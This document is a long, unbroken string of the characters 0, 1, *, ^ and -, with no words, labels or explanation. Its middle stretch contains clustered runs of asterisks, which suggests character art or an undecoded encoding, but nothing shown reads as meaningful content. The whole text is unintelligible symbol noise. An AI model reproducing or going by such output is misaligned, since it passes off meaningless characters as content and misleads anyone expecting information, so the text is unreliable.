1*001101101010^1*1010110-00-*01*0010^101*00^^-0-01*11*-^110-10--0-*01010^101010101^-110101010110-1*1010101^101^1*00110110--00-101^10101*00^1*110^110101^-0-010^-101*10-01*10-1*010^-11010^1*1011**011*0110-00-^10101101*0010-0011*0101101101011*01011011*01*01011*0^^^-1*00110101*110--*1^11010-0101^-10110110---0110--*-*0--11011010110-*10110^10110-0-^10-0-0-11*0110-0-110^-001*10--**00-1*1101010101^11*1^110-*-1101*^10^-00^1*0-110-001101010110-110101101010^1*-^11**00^-1010101010110-*1^110-110-1101*10110^-00^1^10-10-001101010110-110110101010^1*-01***00110101101010101010^-01^11011010^-01*^^-1^^^--10-0011*10110-1101^^10^1*10-***0011*00110101010-0101101^11010110^-01*1*00-1^^^10-110-001101010110-1101*00^^1*10-***00-1*1101010101101101101^110-110-01*10110-10101*101*1101101*10^-0010-1101010--1^10^1^10-1^-0^10-*010^1010^1*^-1^10101011*0-10-00-0^1^10^-1010^-11010-0--0010-101010-1^1**10-*010^1010^1*10110-001010101*--0-00^1^1^10^10-1*0-110^1^-1^101^^10-1^1101*00-*0101^110^1*1010-^10101011010-110-00-00101^10^10^1*0-110--0-1^101101*00-1^11010-0-*0^1*10^1*^-1^101010101*-10-00110-01^10^^101*0-1101^110-1^101010^10-1^-1010^11011010-00^1101101101101*11011010-011*-*0^1*0^1*10-11010110^10110^101101**1^101101*^11*-*^-0110110110101*-0-01010110-1*001010-*-*0010101**101101^^1010-10-01^-10^101*1^-*1*-11011011010-0-0-010101011011*001010^10-1*001^1101*10110^^11010-10110-10--0010-10--^-1^--^1**11*0^-0101*10-0-110-11*101*001101101^110-^11*00-110^1011*-^1^-0101101^-001^11*0-*0^-0011*10-0110^-11*10-0101101101^110-11011*0010-01101011*-1010^-010-1^110^1101*110^^1101010^^^1101101*^11**0-010-11*1010^-^1*11*0--1*10110110-*010^1010-*010-1010-*0^-0--1^-11011*-011*1010^101*^^10^11011011*00110110-01011011*^^1*-11010^1^-^1101010^--1^-*11*-010-0010-00^11*010-0010-0^10-001010-00110-*010101101^1*0^-*0011***-1*00-101010-*0101101*0110^1^101*1101*01^1*110^^^101010-*-1^110101*1*-*0110^1^1*101^-1*010^1011*1^10^^--0010^^10-1*0-00-010101*0^-10-^11*1*0-1**00-0--1*00110101^1101*001101011011*0-01^^1**-01*-001*101*001^-0-1*011*1^-*01^-10-*-^10^-*0110--10^1101*01*01*001011011*-^^^-*00-010^11*00-0-0-*00-00^-*11**0^^1**10-0101*01*110101101101*00^--11**00^10101^1*0-00110^-0011*101**1011*11*0-001^1**1101011010-^10-11010-^1*011010-^110101101^1*00-11010-*-001^-1^^10-^1*0101^11**00110-*1*1*10^^1*1*10110^1*^-11010110^--00101*0-^-01*-11*011**0011010101*0011011*101*1101011011*001010-1^1^101*0110-0-110^11*110101*0--10101*-110-01**00-10-*00110-110-001101011*^101010-10110^101*0-*--0^-*-0^10-1**0^10-001*00^10-10101*^-010-10101*01011*0110-10101101*1*11*1010110-10-0110^-0^11011*01*001^11*0-1**1*01^^-01^110101*010-^110-10101*1101*11*10-10-10-0-110-0^110^-1*001^^--1**1^10110^-0^10-01*01011*0110-10101101*1*11*^10^-0-01*001010^1101^101*001^1010--**-110110^-01*0-01*010-*^-1010-1^1*11*-1^-10-0^10-10^11010-01*001^10-01011**110-^^-0-00-01*010-110110-10101011*1*11*-0^-10-0110-1010^11011011011*01^10-0-1**110110^^-01*001101*010^1101**^1101*1*00^^-**0^101101010-11**01*1*1*11*1*^1^10110101101*00^1*^11*001^1^1^^-0^--^1^1*-*00101*00-11*0-*01*1*11*1*^1^10110101101*00^1^10-0^^101*-0^-011*-0^110-00-101010^1*0011*-0010-10-0-^-0^110--1**^1*0101*00^1101*1*00^11*001*00^10-1101*1^1101^1*01^^-01*01^110-010110110-^10110^10110-1**--01010-*0-^11010^1101^1*101*00-*1010-^-010-*00-1^1011*00-11*011*00-101^11011*10-011010^1*1010^11*0^-11**010101*^101**-101^1**110-^1**1^-00-10^-0^-101^1^1101^-001101^101011*-*0010110^^-*0^^^101010-*0^10110-01*010-0-110^1*--101^-10101011*00-*01011****1011**101*10-0011*110-00--1010-*0-^^1*10110-0^-11*0-01*10110-110101101011*-11*01010110-01*1^-001^--^-11011011010^10110-10^^1011*110^^10110^101011*00^11010-0-011*110-*10^101101101101011**10-*-1*00^-0^11011*001101^10-0101^-0-0011*00-0011010^^--0010^^110-0010^^^10^1010^1^11011011*011*1*1^10-11*11*00-^1^11*^1^11*1*010-01010110-1011*--0--10-1101*0-11*-1*0-1*0-1*0-^10-1^1*10-0101101*01*0110101**00^^1^^101*-*1*00101101*11*1*01^^11**0-11010^11*^1^1*0-01^10-001*10^10-001*10^10-*0011010-00110101*010--*-*011*1*-*0-101011011**01010110-001^-01101010^1*1*00^-110110-10^-1011**^-10110-00^101*10-1*110-01**00-00101010^101*0-*^^-*10^1*00-0010-1*^^11**01010-11*0^-01*^11*0110-01*1*0-00101*0-01*0-0010-10-*^-*00-001*00101^^11011**10-1^1*001101*1**00110-0^11*0-00101*001101*0-0^-00-*1*1010^-00^101101^^11010-*10-11**001101*1*0^-0-0^110^-0010^-1101*0-**^-*10101^^-00^11*0^^1^101101010-11*0010-01*10101010-0-01*1*-^101011*-*0-0-00110-*10^^^-00^11*0^^1101010101010-1^1^101101*^1^10110-01*-10-001010^10101*0-0-11*-*1011*1*-001011*01^^11*-01010-110-1^1101*1**10110-01*00110-001010-1^1*0-*001^-*^-*00-00^--^^11011011*10-11*1*01101*1010-10110-01*00110-0010^1*101*0-010^110-*1*0011*-00^110-^^11010101^10-1^-10-01*^101*110-0101*010-001010-1^1*0-0^11*-*10-011*-00^1*00^^1^-1^10-1101^^1101*1*00^110-0101*110-0010^--^1101101101010^110110-001*011011*110101010110-11*^1*-10^1^10--1*11*10-110101010-010-0101011*00-110--0010-^-0011*0-0110101010110--11*1*-00^1*10--00101*010-^-*-010-*^1*00-**-0010-1*1^11*01^110-010110110-01^1*-10^1^10-110-011*10--1^10-010-001^1*00-^110-0010-0011*011*01101*101010110-10-*1*-010-*10--11011*010-^11*0-0101101*001*00--01101^10--1*011*0-1010-0101101^^1^1*-00-1*10--01101*010--1*00-010-001^1*00--10-^10-0-011011*01101101101010110-*11*1*-010101*10--101011*10-1010^10-010-1*001*00-0-0101^10-1*011011*01^11010101011011010-*1*-11*1*10--00-*010--0-10-0101^-011*00-0010-1^10-1^1^11*0-0110-010110-0^1*1*-*-*10--00101*010-11011*0-010-001*1*00--00101^10-^1011011*0110^1101010110-10-*1*-010101*10---101*10-110101010-010-10^11*00-0^-1^10-0-1^11*0-0110-010110110^-001*-10^1*10-11*001*010-1101*00-010-110^1*00--0010-0^-11*10110^--00-10^-*001*0-0101*01**0010-101*01^1101^^110^^1101101010110101010-01*0011011*-01*-1010101*01011011*1*-0-0^1**0010101101*01^1*010^110^10^1^10101101*0-101*00-1*-101*11*1*1*010^1*11*-0-00101**00^1**001^1011010^110^10-0110101011010--1^1010^^110^1010^10-0^101011*01^-00-**0-010-*10--0-01*0-110-110-0-00---*101011011*01*011*1^1^11011*110-0011011*11*^-**11*11010-1101*00-0-110101*-0-110-*-0011*0011*0^1011*001101^110^1101101101*1*^11011**0011*^11011*010-0--*-010110101*-*1*11*00110101^1011*110101^110^-00-01*^10110-1***^1^11011*1*010--*^10-0101*0^1*10-*1^-110-*1*0-10-*1*--1*10101*1*^11*1^11*-^10-1*0-10^-1*0-10110-1**101^-010101*-^1101^^-*-1101010110^-1^110^10-110-10-01^10-^-011010^1010-11011**101101011010101*1101101^1*001^^1101*00-*01101*001^^11*****0010^--******001^10110101^1*****01010101^1*01*****0010^101101011******-00-1*11*****00^1^^1********1^10-11******00101^10-011******0-0010-001*****0^10-*-******10-01101010101*****01*-0-00-*****001**0010101******-^1101*11*****0^1010^101******0-*11**01*****0-001^110-1*****0-0011010^-*****0011*^^1******01010101*-1******-01*0011011*******0^--******1101^1010-******1*00-*01******1*-^--*****0^11*1*0-*****010110^110101******11010-1101*1*******1*-001*****00-010110--1*****01101010^101101*****01^10-101*1*****0101010-00^11*****0-0-0^-11*****00^11*^^1*****001*10--******01011*^11011*****0010^1^^101*****0011011011*01101*****010^1*10-1******11*00^1101*******10--0-*****00^11*1010-*****00--001*1******0--0011011******^1010-1*1*****001010101^--*****00--10-1101*****00^^-*001*****001010-^10-*****0010-0-*******010--1101101*****00--01**11*****01^10-10^1*****0011*-10101101******--1*0101*****01010-0110-01*****001*1101*-1*****0-101010-1101*****00101010^101******00-11010--******-^1*1^1*****0101**-0011*****01101011*01*1*****0-001101101101*****00110110101*0-*****011011*-101*******11011*0101*****0010-001101*01*****0110-00^1^1*****00^11010101011*****001*01*10-11*****010^1101*001*****00101**0101011******010^^1*1*****0110--*01******00-*1*0-******001*0110-1******^1*0101******01*010-0-01*****011*0-010-1*****011010-01010101*****00101*^^1******01^1*0-******011*010-*01*****01^1*1*1******0-101*-011*******-1^-11******0010^10^1*******10-1101******010-0-00-01*****0--*0011011*****0-*01101^1*******00^^-1*****0110101*-001******-01*1*-******1^110^1******0-^1*1^11*****0-1*1*11******001*101010^1*****00110^1*1*******^1^10^-1*****001010-^1011******0-*^10101*****01*1*-*******10--0101*1******001*1011011*****00-10-0-01******001*11011*1******0101^1********01^-00-01*****01^10101010-******1*101^^11*****0-011*011******0011010-011*******^10-001^11*****0101^11010-1*****001*1011*00-*****0110-0^10101******110--00-******---0101******01^11*1011******0^-*1*1*****00-*0-110-******0110^1*01*****0011*0110^-*****00-11*011*01*****01010-0-10101*****01010-101********110--^11*****0-10^11*1******^10-1101^1******^1101101011******11*-0-011******011011*^11*****00-010110--*****0101010-110-*****00-0101**101*****0-0-110--*****00--^-011*****0^1*0011*01*****010110^1101^1*****0-01010-101******01*0--*1******01101*01******0010101^10--*****011**110^1******1^10-001011*****0011011011*0101*******1*^101*****0011011*0^1101*****0110-11011011******^-*001011*****001^--*001*****0^1011*0101******11*^101^11******0^101*-1*****0--0101*-******10-0^^1*****00^1*0101*******00--*1011*****00^11*1^-1******-*010^11*****011011*0110-******110-1*0^1******^^11*011*****0^1*10^-******1^10^101******010-0--1011*****01*0101^10101*****00101***1******^10-101101******101^11*11*******10-110-101*****0^10-*-11*****0-0011010101010-00101*11011*0^^1*-001^^-*1^11011010101101010101*101^^^1^110^101*1*1101*1*0110-110-0010^--*0^1010^-001^1*11*1^110^1010110101010^1101^^^110-0^101*-00101*1*01010-10110-0110110^110-0-*110110-0-00-*0101101^1101*0-*11*10--*0-0110-010-101*10101101**011*1^10^-00^1*01**00101010-001*101101101*1*0-0-1*10--01011010110-0101^11*101011***11*11*0110-00^1010101**0101*11*11*0010^--*001*1011011*001*^10-**010-00^101*1*-*011*101011*01*001^11*001*-101^-1*1*101010-1*-00110101*0-00-1*01*-1*1*01*10^101*01*1*010-0-001*1*010101*10110-*11010^10101010110--1**0^-0101^110^-1*1*011*011*^-1010101*-0-001*1*010101*01^-*1^10-010101011*10-**0^1^101^110101*0^1*0110-10^^-10-**00^1*01101*0^101^1**^1011**-0-0--110-0110-0-001101010110101*-00^-01**00^1011*11*110-1^^10101*11010110-01*^110-0-0-011010-011011**0110101*011*0-001010^1**0010-1*011*1^11*0^10101**10110-010-01^-0-0-0-10-011*01*001101010^-*-001*0-**001010-*11*11*-00^1010^101010110-01*0-10-0-*1011010-0110--^1101010101**-001*^11**01*011*11*1^101*^101010^1010110-010--10-0-01010110--110^^10--^^1010--101^1*-0-^101^-10-1*0^1*0-0^1*01*011**011010-10^-^--*0-00110101101^10-1^--0^-0--^^-10-110-001*0-*01*0-10-^10^-10-**00-10110101**00-010-^^101^1^1011*101*-0-00^10^10--*^101101^^11*0^101^10^10101*00-^101^1*-10101*11*-^1*0-1*11*--^^10-^1*0010101*0-*10110-0-1*0-01^-10--00101^11*00^-*11*0010-110-*0010^110-^-1011**1010-^101010^10-0101101010^-*010-0--10110-10--001*-0--011*-00^1101010-0-00101010-0-1101101*10^1*101^11**00-0-0101010101010-101^110^-0-101*101*0-^^1^110-0-001*0-101*10^1*0101*10-01101101*1011*10-11*11**1^^-11*0101^10-10-^10110-1*101*-1^-001*-1^1^11*-11*^11*010-1**^11011*010-^--1*00110--^10-10--1*00-0-11**01*10110^10^1*-0110110-00^1*10-11*10^1^--110^1*01^-11*001010110^^10101^1*010-00101*10110-001101*-0^10-^^10-00101*0011011*001*001^1011011*001101*10-1^1***1^10^-101010101*010101*10-1**01*0101^^10-0-1*0^1^-**-010--^11*10-^^-1*1^10^1011*10101*01^1*10-1**01*01011*00-110-1*11011*-*00-1^--^10-10-^^1^1101^101*-^10101*00-*010-^1^11*01011**-10-1*-00110-*00^1*--1*1^10-^1**1101^101*0-0010101*0-1*010-1*^-*101^101011010-1*--00-*00-0---^^--1^^1010-1^10^10^1010101*0010-0010-1*11**0101^101^110-1*-00110-**011*--1**010-^^1*1101^101*010^10101*010-*10-1*0-1*0101^^-110-1*01*^-*0010-10--^-10--001*001^1^101*0-0010101**001*10-^-001*0101^10^-0-1*01*^-*001^^--^^1*-^1*0010101^10^^1*10101**001*10-^110-*01011*-0-0-1*1^1^-*001*0---00110-0-^1*0^101^10^1011*101101*1010101101101*011**1101*001*0-*^101^-1011*0-10-1**1*^11011*001*1010-01**1^^11*01011**01*011*11010-001101*011*1*-010-011*001*0-**1*^11011*001*1010-01**1^^11*1^11**1*1^1011010-*0011*11*1*1*00-011*01*00-**1010^11011**0101010-01**1^^11**1**001*10-0010^11*1010-0^1^101101010^11*10-0110101*1*-*11*00110110^1011**010^1101*0^10101*^101*011**01^1*011011*1010^--*00^-0101**-*011*00110110^1011**010^1101*0^10101*1*01101011**0011**1101^^-00--*0^-10101*0-11*011*00^110^1011*101010^1101*0^10101*^-0^11***0^1010-*1*00-0-**1^110-*0-*11010101*1*0-01101*01*1*-^-*0-^1*0101*11*^1^-0011011011010^1010-0---01^1010-101101010101*110-0110101^^^^11*10101^^11*00^^^1^101^-*-10--10110-001*110-00-*0010^--101011*00-^101011010110110--011*0-11*-10--01010-1*-011*-0110--00-0-0011010-10^--00^1*00-1*0^10^1011*001010^1011*00-0^10-0110-1101^1**0011*10^-^110-0101^^101011011*1*0110^-10^11*010-110101*1010-00-001*0010-110-01^-11*011*1010-1*110-01^10^10101101011**110^10^^11*01011*0101*101010^-001*00^10110-01^110101^11*10-^^110-0^-*10101101010101*110^1011*011*0101*10101*10101*101^1*001*-0-01^101101^11*10-11*0110-011*-01010110^1010^110^10-00-*01010--1*1010110-0^1*00^10^-01^101^^11*10-^^110-0^110^101011010101*00110^-11*11*010110^101*1010110-0^1*00-01*-01^11*0^11*10^-^110-0101^^1010110^11*00110^^11*11*010-010101*101010^-00101*^1010^101*-1010^101*1*11*-11*0101^1011**-01*-1^-001*1^1*1^1*00101***01101*01^^^-1*-0101101011*110-0-11*1010^1011**011*00-11*00101*1^^1*11*0010^101*001101*010-00^-^-10101101011*0-110-11*-10101011*00101011*-1^10-*01^^1^1**101*0101*1101*0011*0^-^1010110110101^10^110-11*00110101011**^1*0-11*00-*1^1*0-1*00101*0101*1101*00-010^-1*011*1101011*^-0-11*110-01011*00101011*-1^-101*1^^-011*0010^101*001101*01**-101*1*0010-01*001^10-01*0101*00^11010-011*-10--^11*001^^1011*0011**011*00-**-00-110^------1*--1010110^10110-101010^-0^-*110-^-01011*1^^110-110-0^--00-1*10---^10-11*-1011*110^10-11*1010^-010-1*110-01*1010-0011**010-00-11*110-00-00^1^1^1101*1*1*01101011*1*0-10-101011010-^^--011*010101010-1*0^^110-11**001010-0011*001^11*010^1*011*10^1*0-01010101011010-110^110--0-011010--01010^10--01^^110---10-1*01^1^-1011011*00-10101011*010110110-101*0101*00---*0^-*-101*-011*10110-1101*-11*01101010-1101101^--101010-0010-0110---1101*00110-011*0^1^10110101*-^-10110-1101*-11*0-1*10-0110-0-0-010101^1010110110-1^110101*00110^-*0^-011*101*-00-110110-1101*-11*0-0110-1101101^10-1101010-101^10110-^1010101*00---*0^-0^10101010--1*101010--0101101010-*^-*01^11011*00-10-00-**10^10-*110^^-1011010101*10-010-*1010^1*01*0-10110^101*11011*01^^11*00-101^1101**1*-001*110101010-10110101*1*011010-0-01010^1011*-0-001011*10^1^101^101^-01*00-101*-1*110101010101^-1*--*01*0^11**11010110-1^^1101101^1*11*11*10^11010--01*0110110-101*110--1101*1^-1^1*0-1*11*1*1*010--*0101*^-^1011*01101**1011*1**-11011*10^10-*1*11*001^1*001*0101011*001*001^1*001**^1*-0^1*101101^-1^1^110101010^-0^10110-*-1*10-10110110^^1010^-010-1010^1101101010^1*0-01010101101101^10-0-0011010-1010-0^101010^10-1*101*0010110^101101*0-0101*1*00110110-10-*0-01101101101101^110110-0011010101*0-11*01*01^-*01*00110-*0-00-011*011*0^-0--110^-*-0-*110110-11*1010-00-1*^^-1101***0-11*0011010110-^1*0^10-110-10^10-0-1010^10-0101101^^10-0^-1*101*010^^110110-101^101*1*^1011010^1^1*0-011*010^10110-^-*1010-010-00^10^110-11*^1010-00^110101011*00-^^1101*-1*0-11*-101^-^1^--101*10-110-11*110-0-01^1*--*101*0011*110110110-110110---11*-0010-0-0101*10-0110^101010-0-010101*-^-^-0101^1*1*-11*--11011*0010-0^-1^-110^1^^1*101*0101*0^1101101*001010-00-1*0--101011*-0^-11*10110-011**01101^-1^110101^1^^1^-*010^110110101101*01010101^-^-^-0101^11010^-11*^10-011**0-1^-1^10^1^1^^--1*010^10-0101101*01^101^-1**-1101011*0101^-11*^11011011*00110-^-1^10-1^1^1*00-1*0101*10^101101*001*-00-^-0-110101^10-^-11*0^-1011*00-101^-11**01*1^^^-1*010^^110101101*0^^-1101*010-10-01*1011*0-01*101*^10-011010110101*001*-010101^11*110^10^^1*0-1011011011***0010-1^^1*-^-11*101^101*10-0110^10101*00-00110-01010^^10-010101*0^-0101010101^1^-1*110-1*0010-^-001101*0010-1101010-0-^10-0--1011*01010-*010^101*0101*0011*-010^-10-^-*00^^10-00110^^10-11010101*-^10-00110-011*0101*01^10^^-^1*00110101^10^-^11010-*0010101*-0011010-110-11010^^-^10-01*-*0101^1101011*101^--1*1011011010-011*10-1*0-1101*11*-^1101101*--11010^1011*-00^-10^10^1**10^110110101*0110110-^11011*10-^10-11010-0110-^1101*^--1101*00-*-*010-0^101*^1*-001010-0010-0010-101010-00101*0101011010-1*1*-0011*101**001^110^11*-0101010^1010-1*00110-011*11010-0--01^10-0-1101*0011010-1*1*-0011*001**001101^^11*-1101010^1010-101*110-0-1*010-0--1010110-0-110-*11010110-1*0-0011*11***11*10^----*0---1^^--1^101^1010^-0010101101^101^11*0-01**--*101*-011*0-1101*0110101*--010110^-^1011*-1^101010^-0-101101^-0^1*0-0-0110--*^^-00^1011011011*^10-01101*^10-10101*-010^101101101011***01*110-^11**^-1011**1*^-**10-00-011*00-11*001101*1*00110101^1101**^1*00^1*^^1^-*^1**-01011*101*1^-0101*00-^1^10^1011*0^101011*010-01010110-1*10110-0101101^11*101011*001010^^^1101**^^110--1^^110-10-011*-01*00101010-0-001**01^-001^1101101011*1*0-10-*^--^1*-0--01011*1010110101010-*-10-00101010-0-001**0-010^1*^110-**0^-^11*00^11*-00-0101101*101*00--110-0010-^^1011*0-0-001010110-1101*01*-11011*010-11*1**10--*^-010110110-1*00-^1*1^10-1*001011*0--0011010110-^1*01*-0^1*010-11***010-10110-0-01011*00101*00-1101*1^10-1*001011*0110101^1010110-^1*01*-*01*110^-0-010110^110--0110^11*10110--0101^10-^10101^-^101010101^10101*11*1*10-10110-1*01011010--10-^^^^-*0101*10--1010^--^101*01101^101010^^10101*-*01010-101^-*010110^10-10-^^110^-*01101101010110^-010-0110^-1^110110^--0-01*010110110101^10-*1101*^1101^^10-01^1^1010-01^10101010-010101010110101*1^1010--*01*0-101^1*1*-01^1*0^-01^11*^^^101^-1**10^11*01010110-^-^-**010110^1011*0101^10^-101010-01*1011*--01^10-00^10101^11**10-11*0101011010-0-^-01*1010110^10-*101^101011*0^1*11*0110^1*110-001^1*110^10110101^11*011*10-1101^^1^-101^-^11011011011**00--1101*-1101*101*00-1010^10-0-10101101101^11*1*0010--0010^1^-^110-^110-11011**001101*101*-11*1^1*00-110-010-0-11*001101^110-1*010-1^101^1^-110110-^11011*001**0011011*01*---*1*00-010-010-0-^1*1101^-1011*010--1^1101^-^1^-00110-^11**00110-0101*--10-011*10-*01011*10--*11*10-*^101101*10-^-11*-*-01011*01**01101*11*0^101*101*1^11*001^10101**1*01011*0^--*1101*0-*0-11*011010-01011*-**1101*0-00110-^1**110-1*1*10110-1*-010-110-001011010110-1101101*-00--*0011010-001**0110--1^110---110^1^-*^1101*-^1010-10-001011010110--0011*-00-01**11010110^1**110-1011*110-1^-10^1^-^^1101*-0011010-10-1011*10110-1^11*0-001^-^-00-101*00-00-*-00-00-110101*0^-0^1*1^10-1101*0101101101*011*0-1101*00^10--1*11*10-101*1^^1^1*0-1*-00-01*-1^1*01*--*0101*--001010^-10-0110^^11010^10101*^11010101101^101^---010110-^101*0^110-00-00-10101*^10-1^1*-101010101^^110^-0101*^--01101^101^---010-101^101*0--01^-0010-101*^101*-1*-10110-1^^110-1^101*^1*1^101^1010^10--0101*-00101*0-10-^-001010101101011*^1101101011*-1010101011*1**1*101^110-1^11**1*1^101**^1101011*010--00-*^-00-**101010-**110^110^^101^-0^^1*0-10^1*1^-01010^110110110^1*00^-0101*001*-001***10-1^1*11*1*001*^10^^11*001*0-0011*-01^1010^110-110^1*11*-0101**10-^1*00-*-1^^10101010110-001010--0-*^10-10-00-110-01***10--01*1*1*11011*10101010-*001*10101101*010-01*11*0110^-0-*10101*011*011011*101*00----0^--*11011*10101010-**01010101101*1^1101*11*-1010-0-0011*1*011*011010^101**^--110^--*1101^10^-0-*01**101101*-01101*11*-*0-0-00-01*-00^-0010-^^^1^-^1*-*110-1^^1*1^-0^11**010101*^-^11010-1010-01^10-1*1*1011*00110-0^1*^10^11*101^10-110110-*01^1**1*01^101***1^1*01*001**^1*-011**01*11*1*^1^110-*0101^101011*1**01101*01*0011*01*0110101*101*-01^1**^1*-011*00101^11*1*-1^110-0011010^101011*001*001101*-1*11*01*0101101*10^1^10^101*01*11*101*0011**101*001101*01*11011*001*^101010-01*10101*-1^101101*-11*-00-0---10-*11**10--11**10-11011**10^110-1^-0010-1101^-10-*0101011*0110^110-0-110^10-^^101101*1^-101101*1^-001101*-001^-10110---0010^110-11011*10-1^^101010-1*01**010110-0^1^1010^-*010^1*-00-0-0^11*1*10-0011*1*101*-*1*101010-1**-00^-01010-11*00^11010101*10101*101*0010^^10-^^-00110-10--10-1101*001*^-*1**10-10-1010101101**^1101011*010101*^-0010^^10^^^-001*-0--1010^11*001*1*01*1**1*^-1010101*0011011*101*0010-*1011*^-*10-*001*1^-11*01**101010101^-0101*1011*01010-110-11010110-00^11*-11*0110-01^11*0^110---*1^10-0^1**-110101^-0^-1011*010-001101*0^11*0101*0^-11*1*0^-*00--11010-01^-0101*00101101011*1*^1*1^11*01*^10101^101*10^-00-0010110-*-*-*0010---*^-00-01**11011010110^-^1*1101*^1*^1*0010101*1010101*-00101^11010-*-011*0---*^-**1010-011**1010110-**1*--101*0010-01^-*101^1*^1*011011*-1*0-1^^11*-10101*1*-^1101^1*00---0^-10^101*0010-01^-*001^1*^^-0011*-^^-^^1^101^101*1*11*01101^1*0^--10^-10^101**0^-00-*1011011*^1*101101*-1*-01^^11**10101*1**^1101^^1010--1101*0-^101**0^-1011*001*1101011*0110110101011*001*010110-011*-011*10-0010101011010110-1^-*11010-1^-0110-011*01101^11*0101^1^110-1*001^-10110-0^10-011*10-^110101101011*10^-*^^-^-0-101011*01101***101^10-10-1*001**10110-0-10101011*1010101011010110101011*^-*110^-^-0110-011*01101101**101^11011*-*0011*0110110-0^1*1011*10101*010101101010^-00^^11*-00^^11010-00^^10-011*10-*^11*1101101*01^1*110101^101*00101*00110110-0^10---101*1^10101010-1^^1^1010-*0010-0-01*001101^1*1^1*1101^10101*0010110^110110-0-00---10101*101010101*010-001^^-101*10-0^1101*110110-01*01*1101^1^1*0010110110110110-0010----0-01*1010101*00101^1^1*10101*10-00^101*110110-010^1*1^^-01*001011010-0110-*0110-0-0^1*11010-0101*011010-01*-11*1**11*001011*0010110-1^1*0-0^-1^1^1011011*00101010110-1*10-011*01*---^1^1^-*1**01*00-10^1*--110^10^--101*0110-0010-01101*110-0^110-110-01011010-10-0^1010-*01*1011*0010-*-0-11*^110^1011011*010^1011**0^10101011*0101101^-0^1010-1^11*011*11*01*001**10-*1*-11*^11*01011011*010^1011**1*10101011**-1^-01*^-1^11*011*110^1^--^^11*010-00^11*0^11*-0^1*0-01*1*-^10-110^^1010^110-10^1101011*-11*0^10-----001^1010110-00-011*-01*-0-01*1*0^1010-110110-0010^11010-0101101011*0-1*0^10-00---1*0010110110-*011*00-01*101101101*^-001010-11*10101010^11*010^11010110-0-*0^1010----10-010110110-0011**0-01*001101101*1*-^10-11010-^10^1101^101011010110--1*0^10110----001^1010110-010-*00-01011*0-01*^-001010-11*1^1010^11*0101*010101*0101*01010^110-*1010^^1^1*1*1^-*01*0101*11*011*1*011*10^1101101101^^1010-1101**00101^^11*1*010110-*-10-*1**0011*01*011*011*01^1*0011*101*-101101^^1^-1101*001*-00^1^1*1*110-0010-1011*1*1*001*01*00-1011*011*0011011*101*110101101^1*0--101**110-00^11*^1010110-00-1^11*1**0101*01*0^^11*011*011*1*101*0--01^1*0010-101**10-^^1^10101010110-001101^11*1*010^1*01**011011*01^101*11*101*-101101^1*110-1^11*0--1^11*01*101^11*-00--*001*0^--00-01*-00^1^1*^10^101101*101***10110-^11*00^1011*-01^-1*-1*-1*00-11*--**1*-001*01*00^101*11011*1101*1*01*1101*101011*1101*^-0010110-*11*1*-1101^-*--0110-*-1010110-0010-1*10-*1011*^-00^110-00-11*11**1^^-010^101^10-1^1^101101101^101*0-11010-0^10-00--*--01*11*-1101011011*--^101^10---011010-11*--0011011*001^-0-01*010-00-1101*1101^-11*1*1010--001^110-1^101^10-110-011010--1*0-00110-10^10101*1101*-101*1^--101*-110-11**01101010101*^-1*010101**001*0-*00^-0-11*011*10-11*0-0010-11*001^-1*-110--1^-0011*-^-101*0-^110101*01^--0101^10-11*10101*010-^-0^^-*0-1*--^-^10-^10--00--^11*1101^1^11*110-0011011*110110-101101*1*1*00110101*0010^^-*001^^11011**^-1101*11*00-01*-011*-11**1*0-1^-**-1^1***110101*00-1101^11*-10^^--1*00-0^110-1*01011010101*00110-00-*00110101^11*00110-*110^110110-01**101^-011010-11*-1011*-101011010^-^11*10^--1*010^--*0010101010-001*0^^-001*110-0-0-10110-0-10-0110-011010-01^^1*10110^-01^-01*00101*-*001^1101101***110101*0-*1011*00101101010-*11*110--*1*110110101*1*11010^1*^110-110-01*0-101^10^--01^10-0--10-*1010-110110-*-0110101101010-*01***1^11*1^11011*010101*0-001^10^-110^1010-0-10^11*010101^1*-1*-00-01101010-001***00-01*-00110-01*101*0-*^10^-110-1010-0-1*1011*1010110^--*-10-01101010-01^1**00110-10-00110-10^101*0-00101010^-110^1010-0-1*0011*1010-1*-11*-**1101010-10^1**0011*110-00110-10^101*0-01101010^-1101101010-0-11010-*1010110^--*-^1^101010--11***--10-001101^1*001*0-*^10^-110^1010-0-11*011*10101^^-11*-^1^101010-01****1^1*-00110-01*101*0-010^10^--1101*-0-1*001*01010--010-*-^1^101010-0-101**0-11010-001101^101*1*0-^11010^-110-1**^-1*11*0^1^1011*00^--0110-010--00^-0011*-110110-1^1*10-0-00110-*00-0-00-1*0-10^1*10-^101*10--0-10-11010-**00-00-*^10110-10-*10-0-01010-*00-1^110-*01^1^1*10-^11*010---110-110101^1**-00-011*10110-10--10-0-01*001*00-1^110-*01^-1*010-1*11*10--^110-11010-0011*0-001^11*10110-^1*010-0--1^1*00-010-0-*0-0-1*010--*11010--00-0-11010-110-00-0011010-110110-1101*010-0-0-0-*00--^-1*0110^-0-1101^---110-*110--0-110-101011*--^1*^110101^10-001010101*101^-001101101**0101101101*001^1101101*001*1101^1*011010-101*001010-101*0011*01101^1*-00^10-*1011011010-00-01011010-001^10--001*^101011010101^11*-011*0101*110-010-1*00-10^11*1101101*01*^1101101101010-1*10^-00-*^1101^-*101*1^11010^-0-11**01*11*0011*^-01*00^10-101*-*0^-011011*01010-0101*1*10^1*^^-0011010^-10-1***01011*011*00110101*00^10-101*-00-0110101101^101010-0101*10-*01*^--00110101*^-11**00101011*011*1*0101*001*0^101*-**1101011011*-^110101*1*10^1*^-1011011010^^--***1101*0011**10101*00^1*0101*-*10-01011011*001*110101*11*0^1*1*00-00110101**-11**0011011*0011*^-01*001*0^101*-**1101011011*0-001^1*01**1^1***0-001*0011*0-1*01*-11*01101^--00-01010-001^^1*10-0101*1011010^^110^1101^101010^11011*^10101101010-*0^11*1*01101*-01^-0^110^1^^110-1010101*1*-^^110110^1*10101010-11*0^10-**-*010-0011*0110-*-^-0-^1101^^-1011010101*110-0^^1101*-^101010--^1101^1*^101101^1^110101101^10-0010^1*-11***00--0010101010-*1101^110110--1101*101010-1^^-01010110-001*00-0-1101010^10^1*1*1011**00-1101010101010101010^1^1101*-0101*1010110101101*10--01101*10-0010-*1*0^^1*1*001011**011*00-1*0101**01*1^^101*00101*00110^110^1^1^110-0-*0-1101*1*01^101*1*00-01**1^-0-*0101*011*001^^^10^101**-10110^1^-0010-0-*00101101*1*10^-*1**^1**11*0^^^11**11*^11*-1*0^11*00-*1^^1*--101*110101101101*01**0101^101^^101*^101011**1^1^-110^11011*0^1101010^10110-00^11*110-01*-*101101*0-10^101^101101*001*^1^-1*01^1*110110^110110110^11010101^1010-00^11*010-01*110110-101*010^1011010-0^11*1010-0